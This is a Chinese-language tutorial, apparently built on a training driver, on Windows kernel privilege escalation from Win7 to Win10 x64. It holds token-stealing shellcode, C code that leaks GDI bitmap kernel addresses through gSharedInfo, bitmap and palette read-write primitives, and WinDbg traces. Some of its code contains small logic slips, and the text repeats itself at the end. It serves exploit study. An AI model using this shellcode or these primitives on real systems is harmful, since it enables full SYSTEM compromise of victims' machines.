WWW利用从Win7 x64到Win10 x64(下)
字数 1332 2025-08-03 16:49:31

Windows内核提权漏洞利用技术详解:从Win7到Win10

0x00 概述

本文详细分析了从Windows 7 x64到Windows 10 x64系统的内核提权漏洞利用技术,重点讲解了不同Windows版本下的利用方法、遇到的坑以及解决方案。内容涵盖Win8.1 x64的堆栈平衡问题、Win10 1511-1607 x64的利用技术,以及对后续版本(RS2、RS3)的利用猜想。

0x01 Windows 8.1 x64利用中的关键问题

1. Shellcode构造与堆栈平衡

在Win8.1 x64利用中,Shellcode的构造和堆栈平衡是需要特别注意的关键点。

Shellcode构造代码示例:

VOID ConstrutShellcode() {
    printf("[+]Start to construt Shellcode \n");
    VOID* shellAddr = (void*)0x100000;
    shellAddr = VirtualAlloc(shellAddr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memset(shellAddr, 0x41, 0x1000);
    CopyMemory((VOID*)0x100300, ShellCode, 0x200);
    
    UINT64* recoverAddr = (UINT64*)((PBYTE)(0x100300) + 0x44);
    *(recoverAddr) = (DWORD64)ntoskrnlbase() + 0x4c8f75; // nt!KeQueryIntervalProfile+0x25
}

Shellcode汇编实现:

.code
ShellCode proc
    ; shellcode编写
    mov rax, gs:[188h]
    mov rax, [rax+220h]
    mov rcx, rax
    mov rdx, 4
findSystemPid:
    mov rax, [rax+2e8h]
    sub rax, 2e8h
    cmp [rax+2e0h], rdx
    jnz findSystemPid
    mov rdx, [rax+348h]
    mov [rcx+348h], rdx
    sub rsp, 30h        ; 堆栈平衡
    mov rax, 0aaaaaaaaaaaaaaaah ; 这个位置放进入Gadgets返回后的后半部分函数
    mov [rsp], rax
    ret
ShellCode endp
end

2. 关键调试过程

调试时需要设置硬件断点观察执行流程:

1: kd> ba e1 fffff803`20ffe7cc
1: kd> ba e1 00000000`00100300

观察执行流程和寄存器变化:

1: kd> g
Breakpoint 0 hit
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
1: kd> t
nt!KiConfigureDynamicProcessor+0x43:
fffff803`20ffe7cf 4883c428 add rsp,28h
1: kd> t
nt!KiConfigureDynamicProcessor+0x47:
fffff803`20ffe7d3 c3 ret
1: kd> dqs rsp
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
...

3. 函数恢复技术

利用nt!KeQueryIntervalProfile+0x25恢复原始函数执行流程:

0: kd> u nt!KeQueryIntervalProfile+0x25
fffff803`2114ff75 85c0 test eax,eax
fffff803`2114ff77 7818 js nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)

0x02 Windows 10 1511-1607 x64利用技术

1. GdiSharedHandleTable结构变化

Win10 1607中GdiSharedHandleTable不再直接暴露指针,需要通过其他方式泄露地址。

Win8.1、Win10 1511和Win10 1607对比:

Win8.1 x64:

0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x000000c4`d0540000

Win10 1511 x64:

0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000216`aa740000

Win10 1607 x64:

3: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x0000023e`1a210000

2. 利用gSharedInfo结构泄露地址

使用SHAREDINFO结构中的aheList来获取内核地址:

typedef struct _SHAREDINFO {
    PSERVERINFO psi;
    PUSER_HANDLE_ENTRY aheList;
    ULONG HeEntrySize;
    ULONG_PTR pDispInfo;
    ULONG_PTR ulSharedDelts;
    ULONG_PTR awmControl;
    ULONG_PTR DefWindowMsgs;
    ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;

typedef struct _USER_HANDLE_ENTRY {
    void* pKernel;
    union {
        PVOID pi;
        PVOID pti;
        PVOID ppi;
    };
    BYTE type;
    BYTE flags;
    WORD generation;
} USER_HANDLE_ENTRY, *PUSER_HANDLE_ENTRY;

3. 关键泄露代码

LPACCEL lPaccel = NULL;
PUSER_HANDLE_ENTRY leakaddr = NULL;
HMODULE huser32 = NULL;
HACCEL hAccel = NULL;
int nSize = 700;

lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL)*nSize);
PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandleW(L"user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = pfindSharedInfo->aheList;

for(int i=0;i<0x3;i++) {
    hAccel = CreateAcceleratorTable(lPaccel, nSize);
    leakaddr = &handleTable[LOWORD(hAccel)];
    DWORD64 addr = (DWORD64)(leakaddr->pKernel);
    printf("[+]leak address : 0x%p", leakaddr->pKernel);
    DestroyAcceleratorTable(hAccel);
    
    if(i=3) {
        CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
    }
}

4. 稳定泄露Bitmap信息

LeakBitmapInfo GetBitmap() {
    UINT loadCount = 0;
    HACCEL hAccel = NULL;
    LPACCEL lPaccel = NULL;
    PUSER_HANDLE_ENTRY firstEntryAddr = NULL;
    PUSER_HANDLE_ENTRY secondEntryAddr = NULL;
    int nSize = 700;
    int handleIndex = 0;
    PUCHAR firstAccelKernelAddr;
    PUCHAR secondAccelKernelAddr;
    
    PSHAREDINFO pfindSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle(L"user32.dll"), "gSharedInfo");
    PUSER_HANDLE_ENTRY gHandleTable = pfindSharedInfo->aheList;
    LeakBitmapInfo retBitmap;
    
    lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL)*nSize);
    
    while(loadCount < 20) {
        hAccel = CreateAcceleratorTable(lPaccel, nSize);
        handleIndex = LOWORD(hAccel);
        firstEntryAddr = &gHandleTable[handleIndex];
        firstAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
        DestroyAcceleratorTable(hAccel);
        
        hAccel = CreateAcceleratorTable(lPaccel, nSize);
        handleIndex = LOWORD(hAccel);
        secondEntryAddr = &gHandleTable[handleIndex];
        secondAccelKernelAddr = (PUCHAR)firstEntryAddr->pKernel;
        
        if(firstAccelKernelAddr == secondAccelKernelAddr) {
            DestroyAcceleratorTable(hAccel);
            LPVOID lpBuf = VirtualAlloc(NULL, 0x50*2*4, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
            retBitmap.hBitmap = CreateBitmap(0x701, 2, 1, 8, lpBuf);
            break;
        }
        DestroyAcceleratorTable(hAccel);
        loadCount++;
    }
    
    retBitmap.pBitmapPvScan0 = firstAccelKernelAddr + 0x50;
    printf("[+]bitmap handle is: 0x%08x \n", (ULONG)retBitmap.hBitmap);
    printf("[+]bitmap pvScan0 at: 0x%p \n\n", retBitmap.pBitmapPvScan0);
    return retBitmap;
}

5. 利用流程总结

  1. 初始化句柄等结构
  2. 通过gSharedInfo对象泄露Bitmap地址
  3. 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0
  4. 通过不断的read和write模拟token的替换实现提权

0x03 Windows 10后续版本利用猜想

1. RS2版本利用技术

RS2版本中移除了pkernel指针,需要通过其他方式泄露内核地址:

  • 使用tagCLS对象及lpszMenuName对象泄露内核地址
  • 通过HMValidateHandle函数获取tagWND对象指针

HMValidateHandle函数定位:

kd> u user32!IsMenu
USER32!IsMenu:
00007fff`17d489e0 4883ec28 sub rsp,28h
00007fff`17d489e4 b202 mov dl,2
00007fff`17d489e6 e805380000 call USER32!HMValidateHandle (00007fff`17d4c1f0)
00007fff`17d489eb 33c9 xor ecx,ecx
00007fff`17d489ed 4885c0 test rax,rax
00007fff`17d489f0 0f95c1 setne cl
00007fff`17d489f3 8bc1 mov eax,ecx
00007fff`17d489f5 4883c428 add rsp,28h

RS2偏移信息:

2: kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks
+0x2e0 UniqueProcessId : Ptr64 Void
+0x2e8 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF

2. RS3版本利用技术

RS3版本中PvScan0被移入堆中,可能的利用方法:

  1. 堆喷射控制内核池
  2. 使用palette对象替代bitmap结构:
    • 使用CreatePalette函数创建
    • 使用GetPaletteEntries和SetPaletteEntries实现任意读写

palette结构示例:

任意读写的方法改为GetPaletteEntries和SetPaletteEntries

0x04 总结

本文详细分析了从Win7到Win10不同版本的内核提权技术,重点包括:

  1. Win8.1中的堆栈平衡问题和Shellcode构造技巧
  2. Win10 1511-1607中通过gSharedInfo结构泄露地址的方法
  3. 后续版本(RS2、RS3)的可能利用途径

不同Windows版本的内核结构变化导致利用技术需要相应调整,但核心思路仍是利用任意读写能力修改关键内核数据结构实现提权。

Windows内核提权漏洞利用技术详解:从Win7到Win10 0x00 概述 本文详细分析了从Windows 7 x64到Windows 10 x64系统的内核提权漏洞利用技术,重点讲解了不同Windows版本下的利用方法、遇到的坑以及解决方案。内容涵盖Win8.1 x64的堆栈平衡问题、Win10 1511-1607 x64的利用技术,以及对后续版本(RS2、RS3)的利用猜想。 0x01 Windows 8.1 x64利用中的关键问题 1. Shellcode构造与堆栈平衡 在Win8.1 x64利用中,Shellcode的构造和堆栈平衡是需要特别注意的关键点。 Shellcode构造代码示例: Shellcode汇编实现: 2. 关键调试过程 调试时需要设置硬件断点观察执行流程: 观察执行流程和寄存器变化: 3. 函数恢复技术 利用 nt!KeQueryIntervalProfile+0x25 恢复原始函数执行流程: 0x02 Windows 10 1511-1607 x64利用技术 1. GdiSharedHandleTable结构变化 Win10 1607中GdiSharedHandleTable不再直接暴露指针,需要通过其他方式泄露地址。 Win8.1、Win10 1511和Win10 1607对比: Win8.1 x64: Win10 1511 x64: Win10 1607 x64: 2. 利用gSharedInfo结构泄露地址 使用SHAREDINFO结构中的aheList来获取内核地址: 3. 关键泄露代码 4. 稳定泄露Bitmap信息 5. 利用流程总结 初始化句柄等结构 通过gSharedInfo对象泄露Bitmap地址 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0 通过不断的read和write模拟token的替换实现提权 0x03 Windows 10后续版本利用猜想 1. RS2版本利用技术 RS2版本中移除了pkernel指针,需要通过其他方式泄露内核地址: 使用tagCLS对象及lpszMenuName对象泄露内核地址 通过HMValidateHandle函数获取tagWND对象指针 HMValidateHandle函数定位: RS2偏移信息: 2. RS3版本利用技术 RS3版本中PvScan0被移入堆中,可能的利用方法: 堆喷射控制内核池 使用palette对象替代bitmap结构: 使用CreatePalette函数创建 使用GetPaletteEntries和SetPaletteEntries实现任意读写 palette结构示例: 0x04 总结 本文详细分析了从Win7到Win10不同版本的内核提权技术,重点包括: Win8.1中的堆栈平衡问题和Shellcode构造技巧 Win10 1511-1607中通过gSharedInfo结构泄露地址的方法 后续版本(RS2、RS3)的可能利用途径 不同Windows版本的内核结构变化导致利用技术需要相应调整,但核心思路仍是利用任意读写能力修改关键内核数据结构实现提权。